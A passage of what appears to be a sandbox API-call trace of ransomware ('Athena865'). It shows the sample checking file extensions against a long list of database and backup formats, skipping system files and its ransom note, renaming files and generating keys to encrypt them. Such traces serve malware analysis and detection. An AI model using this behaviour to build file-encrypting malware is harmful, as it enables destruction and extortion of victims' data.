lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0120.803] lstrlenW (lpString="dp1") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0120.803] lstrlenW (lpString="dqy") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0120.803] lstrlenW (lpString="dsk") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0120.803] lstrlenW (lpString="dsn") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0120.803] lstrlenW (lpString="dtsx") returned 4 [0120.803] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0120.803] lstrlenW (lpString="dxl") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0120.803] lstrlenW (lpString="eco") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0120.803] lstrlenW (lpString="ecx") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0120.803] lstrlenW (lpString="edb") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0120.804] lstrlenW (lpString="epim") returned 4 [0120.804] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0120.804] lstrlenW (lpString="fcd") returned 3 [0120.804] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0120.804] lstrlenW (lpString="fdb") returned 3 [0120.804] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0120.804] lstrlenW (lpString="fic") returned 3 [0120.804] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0120.804] lstrlenW (lpString="flexolibrary") returned 12 [0120.804] lstrlenW (lpString="fm5") returned 3 [0120.804] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0120.804] lstrlenW (lpString="fmp") returned 3 [0120.804] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0120.804] lstrlenW (lpString="fmp12") returned 5 [0120.804] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0120.804] lstrlenW (lpString="fmpsl") returned 5 [0120.804] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0120.804] lstrlenW (lpString="fol") returned 3 [0120.804] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0120.804] lstrlenW (lpString="fp3") returned 3 [0120.804] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0120.804] lstrlenW (lpString="fp4") returned 3 [0120.804] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0120.804] lstrlenW (lpString="fp5") returned 3 [0120.804] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0120.804] lstrlenW (lpString="fp7") returned 3 [0120.804] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0120.804] lstrlenW (lpString="fpt") returned 3 [0120.804] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0120.805] lstrlenW (lpString="frm") returned 3 [0120.805] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0120.805] lstrlenW (lpString="gdb") returned 3 [0120.805] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0120.805] lstrlenW (lpString="gdb") returned 3 [0120.805] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0120.805] lstrlenW (lpString="grdb") returned 4 [0120.805] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0120.805] lstrlenW (lpString="gwi") returned 3 [0120.805] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0120.805] lstrlenW (lpString="hdb") returned 3 [0120.805] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0120.805] lstrlenW (lpString="his") returned 3 [0120.805] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0120.805] lstrlenW (lpString="ib") returned 2 [0120.805] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0120.805] lstrlenW (lpString="idb") returned 3 [0120.805] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0120.805] lstrlenW (lpString="ihx") returned 3 [0120.805] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0120.805] lstrlenW (lpString="itdb") returned 4 [0120.805] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0120.805] lstrlenW (lpString="itw") returned 3 [0120.805] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0120.805] lstrlenW (lpString="jet") returned 3 [0120.805] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0120.805] lstrlenW (lpString="jtx") returned 3 [0120.805] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0120.805] lstrlenW (lpString="kdb") returned 3 [0120.806] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0120.806] lstrlenW (lpString="kexi") returned 4 [0120.806] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0120.806] lstrlenW (lpString="kexic") returned 5 [0120.806] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0120.806] lstrlenW (lpString="kexis") returned 5 [0120.806] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0120.806] lstrlenW (lpString="lgc") returned 3 [0120.806] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0120.806] lstrlenW (lpString="lwx") returned 3 [0120.806] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0120.806] lstrlenW (lpString="maf") returned 3 [0120.806] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0120.806] lstrlenW (lpString="maq") returned 3 [0120.806] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0120.806] lstrlenW (lpString="mar") returned 3 [0120.806] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0120.806] lstrlenW (lpString="marshal") returned 7 [0120.806] lstrcmpiW (lpString1="04_.GIF", lpString2="marshal") returned -1 [0120.806] lstrlenW (lpString="mas") returned 3 [0120.806] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0120.806] lstrlenW (lpString="mav") returned 3 [0120.806] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0120.806] lstrlenW (lpString="maw") returned 3 [0120.806] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0120.806] lstrlenW (lpString="mdbhtml") returned 7 [0120.806] lstrcmpiW (lpString1="04_.GIF", lpString2="mdbhtml") returned -1 [0120.806] lstrlenW (lpString="mdn") returned 3 [0120.806] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0120.807] lstrlenW (lpString="mdt") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0120.807] lstrlenW (lpString="mfd") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0120.807] lstrlenW (lpString="mpd") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0120.807] lstrlenW (lpString="mrg") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0120.807] lstrlenW (lpString="mud") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0120.807] lstrlenW (lpString="mwb") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0120.807] lstrlenW (lpString="myd") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0120.807] lstrlenW (lpString="ndf") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0120.807] lstrlenW (lpString="nnt") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0120.807] lstrlenW (lpString="nrmlib") returned 6 [0120.807] lstrcmpiW (lpString1="4_.GIF", lpString2="nrmlib") returned -1 [0120.807] lstrlenW (lpString="ns2") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0120.807] lstrlenW (lpString="ns3") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0120.807] lstrlenW (lpString="ns4") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0120.807] lstrlenW (lpString="nsf") returned 3 [0120.807] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0120.807] lstrlenW (lpString="nv") returned 2 [0120.807] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0120.808] lstrlenW (lpString="nv2") returned 3 [0120.808] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0120.808] lstrlenW (lpString="nwdb") returned 4 [0120.808] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0120.808] lstrlenW (lpString="nyf") returned 3 [0120.808] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0120.808] lstrlenW (lpString="odb") returned 3 [0120.808] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0120.808] lstrlenW (lpString="odb") returned 3 [0120.808] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0120.808] lstrlenW (lpString="oqy") returned 3 [0120.808] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0120.808] lstrlenW (lpString="ora") returned 3 [0120.808] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0120.808] lstrlenW (lpString="orx") returned 3 [0120.808] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0120.808] lstrlenW (lpString="owc") returned 3 [0120.808] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0120.808] lstrlenW (lpString="p96") returned 3 [0120.808] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0120.808] lstrlenW (lpString="p97") returned 3 [0120.808] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0120.808] lstrlenW (lpString="pan") returned 3 [0120.808] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0120.809] lstrlenW (lpString="pdb") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0120.809] lstrlenW (lpString="pdm") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0120.809] lstrlenW (lpString="pnz") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0120.809] lstrlenW (lpString="qry") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0120.809] lstrlenW (lpString="qvd") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0120.809] lstrlenW (lpString="rbf") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0120.809] lstrlenW (lpString="rctd") returned 4 [0120.809] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0120.809] lstrlenW (lpString="rod") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0120.809] lstrlenW (lpString="rodx") returned 4 [0120.809] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0120.809] lstrlenW (lpString="rpd") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0120.809] lstrlenW (lpString="rsd") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0120.809] lstrlenW (lpString="sas7bdat") returned 8 [0120.809] lstrcmpiW (lpString1="004_.GIF", lpString2="sas7bdat") returned -1 [0120.809] lstrlenW (lpString="sbf") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0120.809] lstrlenW (lpString="scx") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0120.809] lstrlenW (lpString="sdb") returned 3 [0120.809] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0120.810] lstrlenW (lpString="sdc") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0120.810] lstrlenW (lpString="sdf") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0120.810] lstrlenW (lpString="sis") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0120.810] lstrlenW (lpString="spq") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0120.810] lstrlenW (lpString="te") returned 2 [0120.810] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0120.810] lstrlenW (lpString="teacher") returned 7 [0120.810] lstrcmpiW (lpString1="04_.GIF", lpString2="teacher") returned -1 [0120.810] lstrlenW (lpString="tmd") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1 [0120.810] lstrlenW (lpString="tps") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0120.810] lstrlenW (lpString="trc") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0120.810] lstrlenW (lpString="trc") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0120.810] lstrlenW (lpString="trm") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0120.810] lstrlenW (lpString="udb") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0120.810] lstrlenW (lpString="udl") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0120.810] lstrlenW (lpString="usr") returned 3 [0120.810] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0120.811] lstrlenW (lpString="v12") returned 3 [0120.811] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0120.811] lstrlenW (lpString="vis") returned 3 [0120.811] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0120.811] lstrlenW (lpString="vpd") returned 3 [0120.811] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0120.811] lstrlenW (lpString="vvv") returned 3 [0120.811] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0120.811] lstrlenW (lpString="wdb") returned 3 [0120.811] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0120.811] lstrlenW (lpString="wmdb") returned 4 [0120.811] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0120.811] lstrlenW (lpString="wrk") returned 3 [0120.811] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0120.811] lstrlenW (lpString="xdb") returned 3 [0120.811] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0120.811] lstrlenW (lpString="xld") returned 3 [0120.811] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0120.811] lstrlenW (lpString="xmlff") returned 5 [0120.811] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0120.811] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.Athena865") returned 73 [0120.811] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.athena865"), dwFlags=0x1) returned 1 [0120.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.813] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9024) returned 1 [0120.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.813] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.814] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.814] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.814] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2640, lpName=0x0) returned 0x154 [0120.816] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2640) returned 0x100000 [0120.817] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.817] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.817] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.818] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.818] CloseHandle (hObject=0x154) returned 1 [0120.818] CloseHandle (hObject=0x17c) returned 1 [0120.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.819] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2=".") returned 1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="..") returned 1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="windows") returned -1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="bootmgr") returned -1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="temp") returned -1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="pagefile.sys") returned -1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="boot") returned -1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="ids.txt") returned -1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="ntuser.dat") returned -1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="perflogs") returned -1 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="MSBuild") returned -1 [0120.819] lstrlenW (lpString="AG00011_.GIF") returned 12 [0120.819] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00011_.GIF" | out: lpString1="AG00011_.GIF") returned="AG00011_.GIF" [0120.819] lstrlenW (lpString="AG00011_.GIF") returned 12 [0120.819] lstrlenW (lpString="Athena865") returned 9 [0120.819] lstrcmpiW (lpString1="0011_.GIF", lpString2="Athena865") returned -1 [0120.819] lstrlenW (lpString=".dll") returned 4 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2=".dll") returned 1 [0120.819] lstrlenW (lpString=".lnk") returned 4 [0120.819] lstrcmpiW (lpString1="AG00011_.GIF", lpString2=".lnk") returned 1 [0120.820] lstrlenW (lpString=".ini") returned 4 [0120.820] lstrcmpiW (lpString1="AG00011_.GIF", lpString2=".ini") returned 1 [0120.820] lstrlenW (lpString=".sys") returned 4 [0120.820] lstrcmpiW (lpString1="AG00011_.GIF", lpString2=".sys") returned 1 [0120.820] lstrlenW (lpString="AG00011_.GIF") returned 12 [0120.820] lstrlenW (lpString="bak") returned 3 [0120.820] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0120.820] lstrlenW (lpString="ba_") returned 3 [0120.820] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0120.820] lstrlenW (lpString="dbb") returned 3 [0120.820] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0120.820] lstrlenW (lpString="vmdk") returned 4 [0120.820] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0120.820] lstrlenW (lpString="rar") returned 3 [0120.820] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0120.820] lstrlenW (lpString="zip") returned 3 [0120.820] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0120.820] lstrlenW (lpString="tgz") returned 3 [0120.820] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0120.820] lstrlenW (lpString="vbox") returned 4 [0120.820] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0120.820] lstrlenW (lpString="vdi") returned 3 [0120.820] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0120.820] lstrlenW (lpString="vhd") returned 3 [0120.820] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0120.820] lstrlenW (lpString="vhdx") returned 4 [0120.820] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0120.820] lstrlenW (lpString="avhd") returned 4 [0120.820] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0120.820] lstrlenW (lpString="db") returned 2 [0120.821] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0120.821] lstrlenW (lpString="db2") returned 3 [0120.821] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0120.821] lstrlenW (lpString="db3") returned 3 [0120.821] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0120.821] lstrlenW (lpString="dbf") returned 3 [0120.821] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0120.821] lstrlenW (lpString="mdf") returned 3 [0120.821] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0120.821] lstrlenW (lpString="mdb") returned 3 [0120.821] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0120.821] lstrlenW (lpString="sql") returned 3 [0120.821] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0120.821] lstrlenW (lpString="sqlite") returned 6 [0120.821] lstrcmpiW (lpString1="1_.GIF", lpString2="sqlite") returned -1 [0120.821] lstrlenW (lpString="sqlite3") returned 7 [0120.821] lstrcmpiW (lpString1="11_.GIF", lpString2="sqlite3") returned -1 [0120.821] lstrlenW (lpString="sqlitedb") returned 8 [0120.821] lstrcmpiW (lpString1="011_.GIF", lpString2="sqlitedb") returned -1 [0120.821] lstrlenW (lpString="xml") returned 3 [0120.821] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0120.821] lstrlenW (lpString="$er") returned 3 [0120.821] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0120.821] lstrlenW (lpString="4dd") returned 3 [0120.821] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0120.821] lstrlenW (lpString="4dl") returned 3 [0120.821] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0120.821] lstrlenW (lpString="^^^") returned 3 [0120.821] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0120.821] lstrlenW (lpString="abs") returned 3 [0120.822] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0120.822] lstrlenW (lpString="abx") returned 3 [0120.822] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0120.822] lstrlenW (lpString="accdb") returned 5 [0120.822] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0120.822] lstrlenW (lpString="accdc") returned 5 [0120.822] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0120.822] lstrlenW (lpString="accde") returned 5 [0120.822] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0120.822] lstrlenW (lpString="accdr") returned 5 [0120.822] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0120.822] lstrlenW (lpString="accdt") returned 5 [0120.822] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0120.822] lstrlenW (lpString="accdw") returned 5 [0120.822] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0120.822] lstrlenW (lpString="accft") returned 5 [0120.822] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0120.822] lstrlenW (lpString="adb") returned 3 [0120.822] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.822] lstrlenW (lpString="adb") returned 3 [0120.822] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.822] lstrlenW (lpString="ade") returned 3 [0120.822] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0120.822] lstrlenW (lpString="adf") returned 3 [0120.822] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0120.822] lstrlenW (lpString="adn") returned 3 [0120.822] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0120.822] lstrlenW (lpString="adp") returned 3 [0120.822] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0120.823] lstrlenW (lpString="alf") returned 3 [0120.823] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0120.823] lstrlenW (lpString="ask") returned 3 [0120.823] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0120.823] lstrlenW (lpString="btr") returned 3 [0120.823] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0120.823] lstrlenW (lpString="cat") returned 3 [0120.823] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0120.823] lstrlenW (lpString="cdb") returned 3 [0120.823] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0120.823] lstrlenW (lpString="ckp") returned 3 [0120.823] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0120.823] lstrlenW (lpString="cma") returned 3 [0120.823] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0120.823] lstrlenW (lpString="cpd") returned 3 [0120.823] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0120.823] lstrlenW (lpString="dacpac") returned 6 [0120.823] lstrcmpiW (lpString1="1_.GIF", lpString2="dacpac") returned -1 [0120.823] lstrlenW (lpString="dad") returned 3 [0120.823] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0120.823] lstrlenW (lpString="dadiagrams") returned 10 [0120.823] lstrcmpiW (lpString1="00011_.GIF", lpString2="dadiagrams") returned -1 [0120.823] lstrlenW (lpString="daschema") returned 8 [0120.823] lstrcmpiW (lpString1="011_.GIF", lpString2="daschema") returned -1 [0120.823] lstrlenW (lpString="db-journal") returned 10 [0120.823] lstrcmpiW (lpString1="00011_.GIF", lpString2="db-journal") returned -1 [0120.823] lstrlenW (lpString="db-shm") returned 6 [0120.823] lstrcmpiW (lpString1="1_.GIF", lpString2="db-shm") returned -1 [0120.823] lstrlenW (lpString="db-wal") returned 6 [0120.823] lstrcmpiW (lpString1="1_.GIF", 